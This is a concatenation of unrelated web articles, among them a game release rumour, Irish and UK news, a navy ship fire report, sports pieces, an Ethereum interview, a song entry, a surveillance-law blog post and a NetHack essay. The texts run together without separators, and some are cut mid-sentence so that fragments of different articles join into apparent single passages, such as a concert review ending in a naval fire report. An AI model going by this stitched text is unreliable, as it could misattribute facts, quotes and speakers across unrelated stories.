Sonic Forces is a particularly interesting title that has been getting some fan speculation going for it. A lot of players showed their skepticism once they saw Modern and Classic sonic once again and the reveal of a Custom character was something that pretty much flipped the entire community over. For better or for worse, the game has a lot of hype surrounding it nowadays.
In summation, Sonic Forces has been a very interesting thing as of late. However, no release date has been shown for the next adventure of the speedy blue hedgehog. It doesn’t help that in announcement videos SEGA has played people with the release date by just putting a 2017 on the trailers. However, this changed after video game retailer EB Games may have let the date slip by revealing on its Australian website that Sonic Forces will be releasing for Nintendo Switch on Novermber 7.
Now, this could very easily be debunked so I’ll ask any and every one seeing this “Slip-up” with a rather skeptic eye. However, the fact that are supporting are that Sonic titles that are multiplatform often release during November (Considering Sonic Unleashed and Colors as examples).
There is also the fact that we now have a supposed box art for Sonic Forces, as you can see on the image. The box art looks pretty convincing, showing Sonic, Classic Sonic. The gang of enemies they are going to face including the dreaded Infinite, and of course. The custom character players will be able to use from the moment the game goes live.
Once again however, this isn’t an official announcement by SEGA themselves. So this could very well be a crafty leak from the EB Games listings. Or a troll wanting to mess around with gamers, this has happened countless times before. So be cautious.A MAN who was installing water meters has narrowly escaped injury following a petrol bomb attack.
A MAN who was installing water meters has narrowly escaped injury following a petrol bomb attack.
Gardai are investigating the assault on a water meter installation crew after an incendiary device was thrown at a van owned by Coffey Northumbrian in a housing estate in Co Louth on Monday evening.
The petrol bomb landed on the roof of the vehicle, setting it alight. A worker in his 50s at the rear of the vehicle narrowly escaped serious injury.
The incident happened at 4pm at Ballsgrove in Drogheda during an anti-water charge protest.
Gardai said an incident of "criminal damage by fire" was being investigated.
The attack is the latest in a series of incidents against company workers who have the regional contract to install meters in Louth, Cavan, Monaghan, Longford, Meath and Westmeath.
Other incidents in recent weeks include workers being threatened with knives and other weapons; excrement being smeared on safety barriers, stones, fireworks and other objects being thrown and damage to windows, tyres and lights on vehicles. In another case, a worker was approached by a man with a shotgun in his car.
A company spokesman said that racist and threatening messages were being posted on social media sites, which were not being removed.
While the vast majority of meter installations proceeded with no difficulty, that there was a "threatening element" among some protesters, the firm said.
Irish Independentfavorite favorite favorite favorite favorite
At the time of the writing, this is a relatively new find on Archive.org. W-O-W!!!! The mix is a matrix with just a bit of audience bled in for ambiance and feel. This contains a few relatively rare acoustic gems for this time, notably the Deep Elem Blues, Babe It Ain't No Lie, El Paso, and Oh Boy. Mentioning great singing quality in the same sentence with the Grateful Dead is rare, but this is simply terrific harmonization on Bobby and Jerry's part. Jerry's voice throughout still has the sweet sound that would be lost just a year or two later. Though Friend of the Devil has become iconic, sometimes over-played and even dare I say a "campfire" song, this |
injury to the crew is a testament to their hard work, courage, and skill.
"It was an honor to lead them on that night, and every day I spent as Hue City's XO was a privilege that I will always cherish."
A mysterious fire
The massive blaze had mundane roots, according to the investigation.
It began March 19 when the ship returned from training off the coast of the Hue City's home port, Mayport, Florida.
That afternoon, the ship received 235 bales of rags, each weighing more than 50 pounds. Most were for engineering department; they'd ordered about 75 extra to squirrel away for their deployment.
The ship's top enlisted engineer, the "top snipe," arranged a working party of E-5 and below to distribute the rags to the various work centers.
The working party proceeded until they filled up all the spaces engineering had for storing rags. Then one sailor came back to the working party and said there was a "storeroom" on the port side where they could put the extras.
"That storeroom," the investigator wrote, "was the uptake trunk."
The working party formed a "conga line" to get the bales to the space, but nobody asked any questions or spoke up about the dangers of storing them in the uptakes, especially against the exhaust ducts, the report said.
Between March 19 and the April 14 fire, it is unclear whether anyone entered the space and noticed there were 52-pound bales of rags stacked four-high in the trunks. This despite, as Gortney noted, the ship was required to check the uptakes for flammable material ahead of getting underway.
Only three days into a surge deployment that began April 11, the crew got an indication of fire from a burning plastic smell and black smoke billowing from the ship's forward stack, noticed by the embarked air crew and the officer of the deck. Burning plastic and smoke could be signs of what's known as a class-alpha fire.
But minutes later, the ship's engineering control room was investigating a possible class bravo fire, caused by burning fuel, in the ship's number one gas turbine generator that was caused by smoke backing up in the uptakes and spreading into the GTG housing.
Then, as heat from the uptakes started melting bulkheads, the crew began reporting multiple class charlie fires, which are electrical, because of the tell-tale white smoke billowing through the passageways.
The first report of fire came at 6:18 p.m. Four minutes later, the engineering watch dumped CO2 on the number one GTG because of the appearance that its fuel caught fire.
Within 19 minutes, the crew thought they were fighting no fewer than three classes of fire in five separate spaces. That's when the pilot house called away General Quarters.
The crew found the fire source around 7:18, after removing insulation from the unit commander's cabin on the first level of the ship that revealed a hole leading into the uptake. The firefighters doused the flames, extinguishing the blaze. The ship had been fighting the fire for more than an hour.
At 10:00 p.m., Hue City secured from General Quarters.
Six sailors earned Navy Commendation Medals for their efforts fighting the blaze: Fire Controlman 1st Class (SW) Michael Blankenship; Chief Damage Controlman (SW) Quincy Crockett; Chief Hull Maintenance Technician (SW) Shane Hammond; Chief Machinery Repairman (SW/AW) Ignacio Lopez; and Gas Turbine Systems Technician (Electrical) 2nd Class (SW) Chelvis Marshall; and Lt. Daniel Wilson.
"Once alerted to the situation, the officers and crew of USS Hue City fought the fire ably and professionally, displaying tenacity, teamwork and dedication," the investigating officer wrote. "The overall efforts contained the damage to within the uptake trunk and immediate surrounding spaces."Britain is giving more than a million pounds to train Ethiopia’s security forces – even though the country’s repressive regime abducted a British citizen and holds him under sentence of death.
Andargachew Tsege, a father of three from North London, was snatched almost two years ago while travelling through an airport in Yemen. After being forced on to a plane to Ethiopia, he was paraded on television and held for months in secret detention.
Yet the Foreign Office is spending £500,000 on a master’s programme in ‘security sector management’ run by Cranfield University in Ethiopia – a one-party state accused of horrific human rights abuses. Another £546,500 is being spent by the Ministry of Defence to help support the Ethiopian Peace Support Training Centre, which opened last year.
Sentenced to death: Andargachew Tsege, who was snatched almost two years ago while travelling through an airport in Yemen, pictured with his family
‘I am furious,’ said Yemi Hailemariam, Mr Tsege’s partner and mother of their children.
‘It’s crazy that we’re giving aid like this. They say it is to improve human rights there but then they go and help the security apparatus detaining Andy.’
The funding – made through the £1 billion Conflict, Security and Stabilisation Fund – emerged in a Freedom of Information request to the Foreign Office, although it declined to detail a human rights assessment on the grounds that it might ‘prejudice relations’.
There are 35 students on the security management course, which includes modules on intelligence operations.
They include officials from Djibouti and Rwanda, another repressive state, as well as Ethiopia.
‘It is deeply alarming that UK taxpayers appear to be funding the very Ethiopian security forces responsible for the kidnap and rendition of British citizen,’ said Maya Foa, from campaign group Reprieve.
FOREIGN AID MADNESS Almost six in ten UK voters say foreign aid should be the first target of spending cuts, against 36 per cent who favour a crackdown on welfare.
Eighteen months ago, International Development Secretary Justine Greening suspended a similar programme ‘because of concerns about risk and value for money’.
This followed the seizure of Mr Tsege, 61, who has lived in Britain since 1979 and been called his nation’s Nelson Mandela.
His case was highlighted last month by the Commons Foreign Affairs Committee in a report condemning the Ethiopian government for back-pedalling on human rights.
Internal emails obtained by The Mail on Sunday show that shortly after Mr Tsege’s kidnapping, the Foreign Office’s Africa director complained that a British Minister had raised the case with the Ethiopian Prime Minister ‘but in the same week that DFID announced lots of extra aid, which rather mixes messages’.
Mr Tsege fled Ethiopia after falling out with then-president Meles Zenawi for exposing corruption and later establishing a pro-democracy party.
Seven years ago he was branded a terrorist and sentenced to death in absentia for allegedly preparing a coup, which he denies strongly.
He was abducted in June 2014 while travelling to Eritrea. After a year in solitary, he was moved to a prison near Addis Abba called a ‘gulag’ by human rights groups.
He had a broken thumb when he last met British diplomats, and there have been fears of torture.
Ethiopia, seen as an important ally in the war on terrorism, is the second biggest recipient of British aid, receiving £277 million in direct donations this year.
A Foreign Office spokesman said: ‘Ethiopia is heavily engaged in the fight against Al Shabaab in neighbouring Somalia, which is vital to build stability in the region and to UK interests.’
Total control: Paul Kagame
EU envoy told me: ‘I am proud to fund a dictator’
By Anjan Sundaram
Eyewitness account
'I have no problem giving money to a dictator,' a European ambassador to Rwanda told me.
The ambassador had just promised about £200 million of European taxpayer money to the Rwandan government, whose repressive ways he was familiar with.
He said Rwanda’s president Paul Kagame ran one of the most 'effective' governments in Africa.
'I’m proud to be giving him money,' he said. 'We will influence the government in the right direction.'
Over the last decade the world, including the United Kingdom, has financed Paul Kagame’s government while watching Rwandan politicians, military figures, journalists and civil society activists one by one be killed, imprisoned, or flee the country, fearing for their lives.
Independent institutions have been all but stamped out. The parliament, the courts and the media are all under Kagame’s control. Even Kagame’s admirers admit that his power is almost absolute.
Kagame announced this New Year’s day that he would seek a third term in power, breaking previous promises to respect what had been a two-term constitutional limit.
Kagame had once claimed he would have failed should he not find a successor at the end of his terms as president.
On New Year’s day, after a referendum on a constitutional change specifically designed to allow Kagame to remain president until 2034, he addressed the Rwandan population, 'You requested me to lead the country again... I can only accept.'
It was a classic dictator’s speech, and it revealed just how small Kagame’s circle of trust has become.
Many observers had expected him to at least engineer a Putin-style cosmetic transfer of titles; a few truly believed he would step down. But Kagame has made sure that there are no alternatives to him in Rwanda.
Most of his political opponents are either dead, languishing in Rwandan prisons, or living in exile, having been forced to flee Rwanda.
The United Kingdom has been one of the staunchest supporters of Kagame’s government through this repression.
Dfid gave £76m in aid to Rwanda last year, money that strengthens Kagame's systems of mass control as it goes through government agencies and to government-approved projects.
Kagame also enjoys political friendships across the British political spectrum. Tony Blair’s Africa Governance Initiative places British consultants at the heart of Kagame’s presidential office.
Cherie Blair is a lawyer for the Rwandan government, recently defending the head of Rwanda’s intelligence in a British court on alleged war crimes. And the Tory party’s runs 'Project Umubano' in partnership with Kagame’s government, sending MPs to Rwanda for social work each year.
I lived in Rwanda for nearly five years between 2009 and 2013, training some of the last independent journalists working in the country.
I watched as even benign criticisms of Kagame were met with the closure of newspapers and the harassment of journalists.
One journalist who brought up the attacks on the press at a conference in front of Kagame was beaten into a coma. Another colleague of mine was shot dead on the day he criticised Kagame.
Two young women were sentenced to several years in prison for insulting Kagame. Others fled to Europe, fearing they would be killed.
Many journalists either began writing up propaganda in favor of Kagame or simply abandoned journalism as it was too dangerous. In my book I list more than 60 journalists who faced harassment, leading to the country’s current state: a place where the government’s voice dominates.
None of this is news to the Western governments that finance Kagame’s government and other repressive states like Ethiopia.
Western aid has reinforced Kagame’s regime – it has helped him build a highly efficient state that can produce far-reaching changes on a whim, because people will not resist government orders.
When Kagame orders plastic bags to be eradicated from the country – a benefit to the country – the bags disappear overnight. When he orders people to wear slippers they comply.
Western donors, including the United Kingdom, have helped Kagame build this powerful system but they cannot control how he uses it.
When the Rwandan government tells people to come out and vote for Kagame they comply in huge numbers: participation rates are regularly above to 95%. Kagame won 93% of the vote in the 2010 presidential election.
I witnessed thousands of people who had done themselves harm, tearing down their roofs and living in the open in the rainy season, contracting pneumonia and malaria, because Kagame had called the grass roofs primitive, and local officials had insisted that people tear down their roofs.
The people complied without asking whether replacement housing had been built. Who would they speak out to? There was no one who would listen. A small town pastor, one of the few to protest, was imprisoned for threatening state security.
When people cannot speak, harm becomes possible on a massive scale, and much of it goes unreported: newspapers and radios in Rwanda dared not shed light on the government’s repression.
Western financing for repressive states like Rwanda and Ethiopia has meant people in those countries have to choose to give into repression in order to receive state benefits – in ways that we would never accept for ourselves, our families or our societies.
Many Rwandans are silent about family members who have disappeared or been killed because they fear the repercussions, which include losing access to Western-financed welfare programs.
It is presumptuous to claim to be able to measure progress in places like Rwanda when the very people participating in that progress cannot speak freely about their experience of it.
Researchers from the World Bank who surveyed Rwandans, questioning the government’s narrative of poverty reduction and increasing freedoms, had their data destroyed and project cancelled. Participants in the survey were questioned by the Rwandan police.
A UN report that highlighted increasing poverty by certain measures was retracted after the Rwandan government protested, and the researchers were blacklisted.
Subsequent research teams, at the government’s invitation, have found that life is improving and poverty decreasing, supporting the government’s narrative.
Western donors have developed a perverse relationship with autocrats. The more repression there is in places like Rwanda, the less criticism there is of Western aid programs. This silence benefits donors.
I’ve seen more than one aid official obtain promotions on the back of their alleged successes in Rwanda.
Donors are eager to talk about the good they are doing, but they are silent about the harms their aid inflicts on people, and it is quite convenient for them that the people themselves cannot speak up.
Anjan Sundaram is author of Bad News: Last Journalists In A Dictatorship (Bloomsbury).Jared Wickerham/Getty Images
The aftermath of last week’s public break-up between Ray Allen and the Celtics taught Boston sports lovers that loyalty between a team and a star must go both ways to last.
If they’ve learned their lesson, it won’t come as a surprise when the Red Sox' beloved David Ortiz takes his bat somewhere that makes him feel wanted after his contract expires this season.
The usually gregarious Dominican has soured on his situation in Boston this year, even in the midst of one of his most productive campaigns ever. He’s pounded his way to a.312 batting average with 22 home runs and 57 RBI at the All-Star Break—and oh, by the way, he’s the only Sox player making the trip to Kansas City.
Which is why it’s tough to blame him for griping about Ben Cherington's refusal to negotiate a multi-year deal with the slugger coming off a one-year team option in 2011, when he hit.309 with 29 round-trippers and 96 RBI.
Instead, he agreed to arbitration with the club before settling on a single year contract worth $14.575 million. That’s not pocket change to be sure, but it’s far from a vote of confidence in the 10-year Red Sox veteran, one who has voiced his frustration several times already this season.
The most recent comments, made to USA Today Sports just hours before belting career home run no. 400 in Oakland, paint an ugly picture. Ortiz called his contract situation “humiliating” and “embarrassing”, and promised that next offseason his negotiating stance would change:
“My mentality is not going to be, ‘I like it here.’ It’s going to be, ‘Bring it to the table, and we’ll see what happens.’”
That’s bad news for a Red Sox front office that seems to have taken Ortiz’ consistent production for granted while backing up the Brinks truck for the likes of John Lackey (five years, $82 million, 5.26 ERA as a Red Sox), and Carl Crawford (seven years, $142 million,.255 batting average in 2011).
Ortiz, who lost 30 pounds over the offseason, should garner considerable interest on the open market even at his advanced age. His numbers have been on an upward trajectory since a tough 2009, when he hit only.212 with six homers against left-handed pitching. Compare that with this year’s.308, with nine bombs already.
Ortiz’ 1.013 OPS ranks second behind only Josh Hamilton’s in the AL, and Big Papi is in the top 10 in batting average, on-base percentage, hits, runs, home runs, doubles, and RBI.
To be concise, he’s been far and away the most valuable Red Sox player this year.
But when he’s playing this angry, it’s not only bad for opposing pitchers—it’s also a disaster in the making for the Sox.
Here’s hoping it's not too late to make Papi feel wanted at Fenway.An ideological replacement for Scalia is "unlikely to happen," Tillis conceded, "but I think we fall into the trap if we just simply say sight unseen—we fall into the trap of being obstructionist." | Getty Tillis warns Senate GOP colleagues of 'obstructionist' approach to SCOTUS pick
Sen. Thom Tillis is cautioning his Republican colleagues against reflexively blocking President Barack Obama's eventual Supreme Court nominee, warning of "the trap of being obstructionist."
While not discounting the notion that Obama could nominate someone with a similar résumé and credentials as the late Justice Antonin Scalia, the North Carolina Republican elected in 2014 suggested in an interview with The Tyler Cralle Show on Tuesday that lawmakers should consider any nominee the president sends forth and approve or reject based on his or her merits.
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An ideological replacement for Scalia is "unlikely to happen," Tillis conceded, "but I think we fall into the trap if we just simply say sight unseen—we fall into the trap of being obstructionist."
"All we’re trying to say is that based on this president’s action, it is highly unlikely," Tillis explained. "And if [Obama] puts forth someone that we think is in the mold of President Obama’s vision for America, then we’ll use every device available to block that nomination, wait for the American people to voice their vote in November and then move forward with a nomination after the election and most likely with the next president."
The remarks are in contrast to Senate Majority Leader Mitch McConnell (R-Ky.), who last Saturday called on his colleagues not to move on any nominees until a new president is elected.Couple told they cannot have their children back after being wrongfully accused of abuse to take court battle to Europe
A couple forced to give up three children for adoption despite a judge ruling they may have been wrongly accused of abuse yesterday vowed to take their legal fight to Europe.
Mark and Nicky Webster said they will never give up the battle to win back their daughter and two sons after the Appeal Court ruled this week that it was 'too late' for the family to be reunited.
The couple have not seen the children, now aged nine, seven and five, since they were put up for adoption four years ago.
Flight from home: Mark and Nicky Webster with Brandon in Ireland
Mrs Webster, from Cromer in Norfolk, said: 'We promised right from the very beginning that we were going to fight on no matter what.
'That has not changed, despite all the disappointments we have suffered.
'We need to discuss with our lawyers exactly where we stand but we will do whatever we can.
'If that means going to House of Lords or all the way to the European courts then that's what we will do.
'I've never stopped thinking about my children and I never will.'
The couple's nightmare started in October 2003 when Mrs Webster took their second son to hospital with a swollen leg.
He was found to have a number of small fractures which doctors said could be caused only by physical abuse.
The following year they were permanently removed and put up for adoption after a one-day court hearing.
Court win: The Websters had wanted a re-hearing of the care proceedings to challenge the adoption order
Medical experts later concluded that the injuries were not caused by violent twisting and shaking, but were symptoms of rare case of scurvy.
Mr Webster, 35, and his 27-year-old wife fled to Ireland in 2006 to stop their fourth child, Brandon, being taken into care at birth.
The Appeal Court ruled on Wednesday that even though the Websters'may well' have been victims of a miscarriage of justice the adoption order on their eldest three children could not be revoked because the youngsters are now settled with their adoptive parents.
Mrs Webster, who is pregnant with a fifth child due in April, said: 'The judgement has left a lot of unanswered questions.
'On the one hand they are saying it's in our favour and they fully understand why we're doing what we're doing.
'But on the other hand they're saying they can't help us.
'I'm also disappointed that they haven't cleared our names.
'The judges only skimmed the surface. They haven't dug deeper.
'You see cases on the news about people harming their children. It's beyond belief that we were put in a similar pigeon hole to that.'
Helen Broughton, an adoption law specialist from Morecrofts Solicitors, said the case highlighted the 'chronic weaknesses' in the Family Justice System.
'A tragic situation like this has almost certainly happened before and sadly it will very likely happen again,' she said.
'There is a serious shortage of resources. Medical experts are expensive and courts are only required to provide one for each adoption case, which allows no room for error.
'Had there been a second medical opinion when concerns were first raised about this couple this whole very sad situation would almost certainly have been avoided.'
But she warned that the Websters would face a very tough battle to overturn the adoption order in either the House of Lords or the European Court of Justice.
'The courts may rule that they have been wronged, but they are extremely unlikely to reverse the adoption order, because in almost all cases adoption is final.'Ivan Pierre Aguirre-USA TODAY Sports
The USC Trojans showed signs of life during the Sun Bowl matchup that took place against the Georgia Tech Yellow Jackets on New Year’s Eve. Unfortunately, it happened to be at the wrong time and against the wrong guys.
Sources have told Scott Wolf of the Daily News that anywhere from 10-to-15 players were involved in a locker-room altercation after the game. Younger players were reportedly questioning the leadership of the veteran players and things continued to escalate from there.
Wolf reported the following:
The incident started when some freshmen questioned the leadership of the team's seniors and whether they gave 100 percent effort for the Sun Bowl. This led to an argument that eventually escalated according to witnesses.
Things really seemed to get ugly, according to players who were there to witness what went down.
"It was one of the worst things I've seen in a locker room," said a player who did not wish to be identified.
According to an ESPN report, there was a player questioning why quarterback Matt Barkley, who was nursing an injured shoulder, did not participate in the game. The star quarterback was recently on ESPN's The Herd With Colin Cowherd and said the reports of the altercation are true, but no punches were thrown:
I would say tempers flared, yeah, but that's football. It's an emotional game and when you end your season on a negative note like that, emotions are going to be high. Guys were expressing their opinions, for better or worse, but we had it under control. It was nothing to be alarmed about. If you ask some of the guys who were there what happened they'll negate those claims about people throwing punches and all that stuff or whatever was said. Obviously in the locker room after that game, which was a loss, there's gonna be words exchanged. People weren't in the best mood, but that wasn't to say we were fighting each other or there was an altercation.
This is really the last thing that the USC program needed. Beginning the year as a preseason No. 1, the Trojans were picked as one of the favorites to win the national championship. Instead, a 7-6 season took place that was filled with controversy involving head coach Lane Kiffin. Everything from the deflated-ball incident to the jersey-switching debacle to suspicious recruiting has taken place this year.
But it is the lack of performance on the field that has haunted USC this season. Not only was the Trojans' record absolutely brutal, but the team averaged more than 16 penalties a game and was tied for dead last in the Pac-12 with 34 turnovers.
The loss to a subpar Georgia Tech team in the bowl game was the last straw for some of the guys, and things got out of hand.
It is unfortunate that the Trojans waited until the season was over to show some type of passion. The events that unfolded are even more disturbing when you consider that the emotions that spilled over weren't even intended for an opponent on the field.
The Trojans still can't seem to get out of their own way, even when the season has come to an end.Andre Greipel has outlined designs on the upcoming UCI Road World Championships that will culminate what has been the greatest season of his professional career to date.
Greipel started the Tour of Britain yesterday as preparation for the September 27 men’s road race, in which Germany has two stand-out options: Greipel, who won an unparalleled four stages at the Tour de France this year, and John Degenkolb.
“With John Degenkolb we have one of the best one-day classic riders in our team … he’s one of our riders, who will try to get a good result, but I think also myself,” Greipel said in a phone interview. “We’re going to see if we can go with two leaders in this race. That’s why I’m trying to be in best shape as possible.”
Greipel finished the opening stage of the Tour of Britain in Wales third behind stage winner Elia Viviani (Sky) and Mark Cavendish (Etixx-Quick-Step) yesterday following what has been, despite injury, an emphatic return to racing from a career-defining Tour de France.
Greipel managed pain in his left knee during the final week of the Tour and has continued to monitor the complaint he said has stemmed from an inflamed tendon. He considered delaying his return but ultimately started the August Eneco Tour where he won a stage before claiming line honours at the Vattenfall Cyclassics.
The Lotto Soudal leader attributes his 15 victories to date this season — including a stage win at Paris-Nice and the Giro d’Italia — to several factors including an overhaul of a typically rigid race program, which for the first time in seven years did not begin in Australia at the Tour Down Under.
“Not doing Australia didn’t make the difference for being in good shape for the Tour. But I think the Giro was really hard, 13 days I did there, I think this put me another level higher to be there on better days for the Tour de France, I would say,” he said.
“We raced a lot always in the beginning of the season and we were already quite tired when the Classics started so that’s why we all wanted to change the program a little bit.
“The goal was to put more quality and not quantity in the races, plus be more fresh for the Classics. The whole team was also on a different race program so we were really good in the Classics and it was a good experience for the team as well to change the race program a little bit.”
Greipel also attributed his career-best season to familiarisation with a new trainer and his teammates, especially Marcel Sieberg, who stepped up at the Tour in the notable absence of injured pilots and domestiques.
“He (Sieberg) was a really key part this year to make the difference between winning and losing,” he said.
“The whole team gave me also the confidence towards every race, from the bus driver, mechanic also the team management, they tried to sign riders also for the next years, so they made a really big effort also to keep this family together.”
Despite the success, the ‘Gorilla’ has not gone so far to say he will mimic his revised race program in 2016. He is already thinking, not just of the 2015 world championships but of the Worlds road race in Qatar next season, which is likely to be tailored to pure sprinters.
“First I’m going to finish this season and then in November or December I can make up my race program again,” Greipel said. “I think the world championships is quite late next year so this is also something you need to keep in your mind.
“I think it was my best season ever; nothing can take that away any more. It could get better of course but I actually am already quite happy, super happy, with the season.
“It doesn’t change the goal for the upcoming races and also towards the next seasons. You always have to perform good again.”The Church of Jesus Christ of Latter-day Saints also known as the Mormons issued a release saying that they do not support child Marriages, following statements by the Inter-religious Organization on the consent of age for child marriages.
In the media release issued this morning by Stake President of the Church of Jesus Christ of Latter-day Saints, Emrol Gould, states that the Church did not participate in the recent meeting with the IRO at which the issue of child marriage and the retention of laws were discussed.
The release went on to say they never communicated any view on the issue to the Executive Committee of the IRO either before, or after the meeting.
Emrol Gould said one of the tenets of the Church is that “marriage between a man and a woman is ordained
of God believes that marriage is a pledge and a solemn covenant, between them and God, which should be
entered by two willing and mature individuals.Tired Of Him Complaining? Here's How To Get Him Back In Love Mode.
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You can have your boyfriend consistently loving you and behaving romantically if you apply the Law of Romance.For Wall Street analysts and investors trying to figure out whether cryptocurrencies like bitcoin and ether are destined to deflate, Ethereum co-founder Joseph Lubin has an answer for you: yes.
But just because a bubble pops doesn’t mean it’s the end, he says. It actually might be better for the technology’s long-term growth.
“Of course it’s a bubble. Hopefully it’s one in a series of increasingly larger bubbles,” Lubin said at an event hosted by Quartz and Retro Report yesterday (Oct. 24) launching their What Happens Next series. “These bubbles bring attention, they bring value into the ecosystem. That value is recognized by software developers and business developers, and they create fundamental value and projects that grow the new architecture.”
Lubin says that a Gartner analyst recently pegged Ethereum’s developer base at 30 times larger than IBM-backed Hyperledger Fabric, a competitor in the blockchain space that enjoys all the benefits of having the support of a legacy computing company that has already won the trust of business.
Ether’s price hovers just below $300 at time of press, but in recent months has been struggling to recover to its all-time high of $414. Ether serves as a currency which users of Ethereum pay to keep their programs on the service’s decentralized computing service. A lower price means less bang for each ether.
Speaking to the volatility of cryptocurrencies, Lubin says that it’s just a matter of fewer people using them compared to traditional currency systems, and that it’s an addressable problem.
“As they get a larger and larger monetary base, I think the volatility will decrease significantly. There are many state-issued currencies on this planet that are as volatile or more volatile than bitcoin or ether,” he said.
Analysts from Credit-Suisse have noted that bitcoin is 11 times more volatile than the post-Brexit exchange rate between the British pound and US dollar, and three times more volatile than the price of oil."James Brown Is Dead" is a song by Dutch electronic dance music duo L.A. Style produced by Wessel van Diepen and Denzil Slemming. It was released in August 1991 as the lead single from their debut album, L.A. Style. The song was a major hit across Europe, reaching number-one in Belgium, the Netherlands, and Spain. The song also reached the top 10 in Australia, Germany, Italy, Sweden, and Switzerland. It also peaked at number 59 on the U.S. Billboard Hot 100.[4] The song inspired multiple answer songs. The song is considered a "Techno classic" with artists like DJ Irene mixing it into their sets.[4] In 2001, Wessel van Diepen and Arista Records released "James Brown Is Dead 2001", a new version of the L.A. Style original.[citation needed]
Track listing [ edit ]
Europe; CD single - 1991 [ edit ]
"James Brown Is Dead" (Radio Edit) - 3:32 "James Brown Is Dead" - 5:38 "James Brown Is Dead" - 5:09
US; CD single - 1992 [ edit ]
"James Brown Is Dead (7" Version Of Original Mix (Without Rap))" 3:06 "James Brown Is Dead (7" Version Of Original Mix (With Rap))" - 3:30 "James Brown Is Dead (Rock Radio Mix)(Vocals – Chris Randall of Sister Machine Gun)" - 3:20 "James Brown Is Dead (Crossover Radio Mix)" - 3:57 "James Brown Is Dead (Original Mix (Without Rap))" - 5:38 "James Brown Is Dead (Original Mix (With Rap))" - 6:04 "James Brown Is Dead (Deadly Remix)" - 5:26 "James Brown Is Dead (Wide Awake Remix)" _ 5:21 "James Brown Is Dead (Take Outs)" - 0:55
Answer songs [ edit ]
In the wake of "James Brown Is Dead" the song "James Brown Is Still Alive" was released that same year by Holy Noise, a techno group also from the Netherlands. Although the first song's lyrics do actually assert that James Brown (1933–2006), "the hardest working man in show biz is alive," the Holy Noise song is regarded as an answer to the L.A. Style song.[5][6]
After Holy Noise many other artists jumped on the bandwagon with songs in which James Brown got often replaced with the name of other celebrities.
The song is featured in the 2012 film Here Comes the Boom.
List of songs inspired by this song:
Chart positions [ edit ]Liberal Betrayals and Tory Plots
Dylan Maryk Blocked Unblock Follow Following May 11, 2015 Unlisted
As the government’s new cabinet is gradually being revealed, let us return to the last cabinet reshuffle which began less than a year ago on Monday, 14th July. While always arguably purely coincidental, the fact is that on the same day the Data Retention and Investigatory Powers Act (DRIPA) began its journey through Parliament, reaching Royal Ascent on Thursday. The typically long and scrupulous process of getting a bill through Parliament and into law was completed in just three days. As was to be expected, the majority of the media for the day was focused on the reshuffle (this is the point where I am supposed to assert that the media is a mass of right-wing bias, until someone on the right corrects me by asserting the opposite). Any coverage concerning the bill was best found on Twitter or via a short link in the corner of a page on the BBC News website, though at least one could observe precisely what was happening on BBC Parliament.
Briefly and with unapologetic bias, DRIPA was not an attempt at gaining initial permission to collect particular data related to individually suspected citizens, but to legalise and justify illegal and inexcusable privacy violations committed by the likes of the Government Communication Headquarters (GCHQ), who as shown by classified documents leaked by Edward Snowden are performing mass collections of data without so much as an occasional warrant.
Putting aside differing opinions on the contents of the bill, the sorts of proposals included were clearly controversial and, more importantly and dangerously, reactionary, in response to the growing threat of ISIS, not only as a physical force but as an effective producer of online propaganda and thus breeder of ISIS supporters within the UK (there may have been the factor of the EU clearly condemning GCHQ and National Security Agency (NSA) activities as being illegal, but let us not be conspirators…). All the same, it was forced through Parliament in a matter of days and with such unbelievable ease. Particularly incredible is that this was not a success purely creditable to the Conservatives, but in conjunction with the other two main parties at the time, Labour and the Liberal Democrats. To have the opposition back the government up on such a disgraceful misuse of the Parliamentary system is one thing, but to have in addition a party designed to be representative of liberal ideals jump on the bandwagon so easily still seems inconceivable, part of a coalition or not. This to me is more detestable than any rise in tuition fees (I will leave my student comrades to that battle, it has enough support already that I can keep quiet). A broken promise is not equivalent to an utter betrayal of basic liberal principles that those of us who do think ourselves liberals (most of the time) consider so important. This was completely ignoring the supposed right to privacy for all citizens, as lined out in the European Convention on Human Rights. After little debate in the Commons, where a few admirable backbenchers played their part in attempting to resist this wave of MPs towing the party line, few of who even so much as showed up for the absurdly minimal amount of debating, the bill was not even successfully amended so as to require a re-examination at the end of 2015, and the bill was ready to be signed into law by the Queen that Thursday.
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time playing games with player-friendly design can unfortunately lead you to some bad habits. Final Fantasy games turned me into an item hoarder who went into the end boss fight with a full stack of dusty Elixirs. I completed Mega Man’s regular stages using only the basic peashooter, because there’s nothing challenging enough to be worth expending the weapon energy. And Dragon Quest, the ultimate in mass-market-focused design, makes sure death is never more than a momentary inconvenience on a never-wavering road of steadily increasing power, a design ethos that’s seeped into modern AAA design.
The sad paradox is that these games let you brute force your way to the end without understanding them, when just a small amount of exploration can result in a vastly deeper, more rewarding experience. Final Fantasy games are easier and more fun if you don’t rely on regular attacks to do all your damage. Mega Man stages are littered with enemy placement meant to coax you into using those special weapons, with frequent weapon energy refills so you won’t be penalized for your experimentation. And Dragon Quest games can always be completed more quickly by playing smart instead of blindly bashing your head against each new barrier.
So where can you learn how to maximize your options in every situation? Where do you go to break the bad habits of friendly game design? To an unfriendly game, of course. To NetHack.
If you’ve got the same bad habits I do, most of your first several dozen NetHack games will go the same way. You’ll figure out the rudiments of how your class works—spells if you’re a Wizard, melee skills if you’re a Knight or Valkyrie, and hiding behind your pet if you’re anything else—and descend to the second, maybe third level of the Dungeons of Doom. There, you’ll find something your play style can’t handle. Maybe you’ll run into something with magic resistance. Maybe a nymph will steal that fine weapon and armor. Maybe your pet will trigger a trap and be killed or stranded.
It’s a bit like if Mega Man suddenly lost his standard Mega Buster, leaving him with only his special weapons to make it through the stages. Such a situation would require new strategies and new tactics, but since you always can fall back on the Buster, you never have to seriously think about how you’d manage it. But in NetHack, you can count on the randomly-generated dungeon putting you behind the eight ball sooner or later, and you need to learn how to deal with that when the time comes.
The primary challenge players face is the sheer breadth of possibility available in most circumstances. When your range of actions is so wide, it can be hard to recall the one or two most useful solutions to any given problem. Moreso because very few of these solutions are at all intuitive. I began playing NetHack when I realized how much esoteric knowledge I’d soaked up about Minecraft, and figured it couldn’t be that hard to learn another game as thoroughly. What both games have in common is that they’re best played with the Wiki kept open; it’s better to think of this as the game’s manual rather than “spoilers.”
